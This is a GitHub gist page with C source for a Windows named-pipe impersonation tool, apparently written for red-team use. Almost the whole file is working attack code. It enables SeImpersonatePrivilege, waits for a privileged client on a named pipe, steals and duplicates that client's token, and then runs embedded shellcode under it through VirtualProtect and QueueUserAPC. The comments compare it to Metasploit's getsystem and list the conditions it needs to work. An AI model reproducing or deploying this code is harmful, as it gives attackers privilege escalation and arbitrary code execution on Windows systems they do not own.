Created
July 21, 2019 18:57
-
-
Save RedTeams/1bee7f264fca14df522d0e1cf59a9d80 to your computer and use it in GitHub Desktop.
Simple demonstration of Named pipe Impersonation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
* Great, this technique is overdone maybe...a billion times | |
* This same technique is used by Metasploit's getsystem() | |
* command in implementation 1 (getsystem -t 1) by forcing | |
* a service to connect to an arbitrary named pipe. | |
* | |
* The technique is abusable given the following conditions: | |
* -> SeImpersonatePrivilege _must_ by enabled, I cannot stress | |
* this enough. Read MSDN, to impersonate other users, you need | |
* this privilege for the call to complete successfully. | |
* -> Process Integrity, generally this ties into the privilege part | |
* but just for reference you need a medium integrity or high | |
* integrity process to have the privilege itself & for this attack | |
* to work. Local Service & Network Service accounts off memory, | |
* due to kerberos, have this privilege. Generally services for short. | |
* | |
* For "safety" and because I can't be arsed to upload another EXE thats far | |
* more malicious to the server, I've stored the bits in the binary. No, | |
* I dont care about CreateProcessWithTokenw() or CreateProcessAsUserA/W(). | |
* although both can be used if thats your thing. If not, bless SetThreadToken() | |
* for its ability to...impersonate. | |
*/ | |
#define WIN32_LEAN_AND_MEAN | |
#include <windows.h> | |
#include <stdio.h> | |
#include "payload.h" | |
/* | |
* Uses AdjustTokenPrivileges() to modify a privilege's attributes, whether to | |
* enable or disable in the current process. By default it modified any of the | |
* tokens passed to it, whether a thread (impersonation) or a process token. | |
* | |
* It first looks up the privilege's local identifier (luid), then sets the privilege | |
* attributes to SE_PRIVILEGE_ENABLED. After doing so, it processes the change with | |
* AdjustTokenPrivileges | |
*/ | |
static int enable_privilege(void* ptoken, char* sepriv) { | |
LUID g_privluid; | |
TOKEN_PRIVILEGES g_tokenpriv; | |
BOOL b_ret; | |
// "Zero" the memory on the stack for safety! | |
RtlSecureZeroMemory(&g_tokenpriv, sizeof(TOKEN_PRIVILEGES)); | |
// Lookup the privilege's luid by its ansi name. | |
b_ret = LookupPrivilegeValue(NULL, sepriv, &g_privluid); | |
if ( b_ret != TRUE ) { | |
printf("[ ] LookupPrivilegeValue 0x%x\n", GetLastError()); | |
return -1; | |
}; | |
// Using the TOKEN_PRIVILEGES structure, we set the privilege LUID & its attribute | |
g_tokenpriv.PrivilegeCount = 1; | |
g_tokenpriv.Privileges[0].Luid = g_privluid; | |
g_tokenpriv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; | |
b_ret = AdjustTokenPrivileges(ptoken, // The token to modify! | |
FALSE, // Disable all privileges or dont? False lol. | |
&g_tokenpriv, // Pointer to a token privileges structure. | |
sizeof(TOKEN_PRIVILEGES), // size of structure | |
(PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL); | |
if ( b_ret != TRUE ) { | |
printf("[ ] AdjustTokenPrivileges 0x%x\n", GetLastError()); | |
return -1; | |
}; | |
return 0; | |
}; | |
/* | |
* Uses CreateNamedPipeA() and ConnectNamedPipe() to await a connection from a client connecting | |
* with CreateFile* API's since, well, pipes are considered "files" and are generally used for | |
* inter-process communication. | |
* | |
* Since we do not need to read _write_ to the pipe, we'll use PIPE_ACCESS_INBOUND to only | |
* access incoming clients. As mentioned above to impersonate other users we must | |
* enable SeImpersonate else we will only be able to impersonate users of our current user | |
*/ | |
static void * smbpipe_server(char* pname) { | |
void* p_pipe; | |
BOOL b_ret; | |
/* | |
* CreateNamedPipeA() - Create a pipe with the specified name, in the format of \\.\pipe\pipename, which | |
* clients can then connect to. Use PIPE_ACCESS_INBOUND as we will not need to write to the pipe, and | |
* Reject all remote clients, + Wait for a clinet to connect before continuing any other operations. | |
*/ | |
p_pipe = CreateNamedPipeA(pname, PIPE_ACCESS_INBOUND, PIPE_TYPE_BYTE | PIPE_WAIT | PIPE_REJECT_REMOTE_CLIENTS, | |
2, 0, 0, 0, NULL); | |
if ( p_pipe != INVALID_HANDLE_VALUE ) { | |
b_ret = ConnectNamedPipe(p_pipe, NULL); | |
if ( b_ret != FALSE ) { | |
return p_pipe; | |
}; | |
printf("[ ] ConnectNamedPipe() 0x%x\n", GetLastError()); | |
CloseHandle((HANDLE)p_pipe); | |
} else { | |
printf("[ ] CreateNamedPipeA() 0x%x\n", GetLastError()); | |
}; | |
return NULL; | |
}; | |
/* | |
* Uses ImpersonateNamedPipeClient() to impersonate the connecting client user, and ultimately become | |
* that user. First however, it must satisfy the ReadFile() requirement as the pipe will refuse to work | |
* until data has been read. | |
* | |
* After impersonation succeeds, we'll duplicate the token so that it may be used by the user later | |
* on for whatever purposes they may entail. | |
*/ | |
static void * smbpipe_impersonate(void* h_pipe) { | |
BOOL b_ret; | |
void* p_itoken; | |
void* p_dtoken; | |
char* bytes[5]; | |
DWORD dwread; | |
b_ret = ReadFile(h_pipe, (char *)bytes, 1, &dwread, NULL); | |
if ( b_ret != TRUE ) { | |
printf("[ ] ReadFile() 0x%x\n", GetLastError()); | |
return NULL; | |
}; | |
b_ret = ImpersonateNamedPipeClient(h_pipe); | |
if ( b_ret != TRUE ) { | |
printf("[ ] ImpersonateNamedPipeClient() 0x%x\n", GetLastError()); | |
return NULL; | |
}; | |
b_ret = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, FALSE, &p_itoken); | |
if ( b_ret != TRUE ) { | |
printf("[ ] OpenThreadToken() 0x%x\n", GetLastError()); | |
return NULL; | |
}; | |
b_ret = DuplicateToken(p_itoken, SecurityImpersonation, &p_dtoken); | |
if ( b_ret != TRUE ) { | |
printf("[ ] DuplicateToken() 0x%x\n", GetLastError()); | |
CloseHandle((HANDLE)p_itoken); | |
return NULL; | |
}; | |
RevertToSelf(); // Revert impersonation! | |
return p_dtoken; | |
}; | |
static void execute_payload(void) { | |
DWORD pold; | |
VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READ, (PDWORD)&pold); | |
QueueUserAPC((PAPCFUNC)buf, GetCurrentThread(), (ULONG_PTR)NULL); | |
SleepEx(5000, TRUE); | |
}; | |
int main(int argc, char *argv[]) | |
{ | |
if ( argc < 2 ) { | |
printf("usage: %s [pipe]\n", argv[0]); | |
ExitProcess(0); | |
}; | |
void* p_ptoken; | |
void* p_pipe; | |
void* p_itoken; | |
// Steal the current process token, as we'll enable the privilege globally | |
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &p_ptoken); | |
if ( enable_privilege(p_ptoken, "SeImpersonatePrivilege") != -1 ) { | |
printf("[+] Starting a pipe server @ %s\n", argv[1]); | |
p_pipe = smbpipe_server(argv[1]); | |
if ( p_pipe != NULL ) { | |
printf("[+] Impersonating the pipe client\n"); | |
p_itoken = smbpipe_impersonate(p_pipe); | |
DisconnectNamedPipe((HANDLE)p_pipe); | |
CloseHandle(p_pipe); | |
if ( p_itoken != NULL ) { | |
printf("[*] Executing our payload\n"); | |
SetThreadToken(NULL, p_itoken); | |
execute_payload(); | |
}; | |
}; | |
}; | |
}; |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment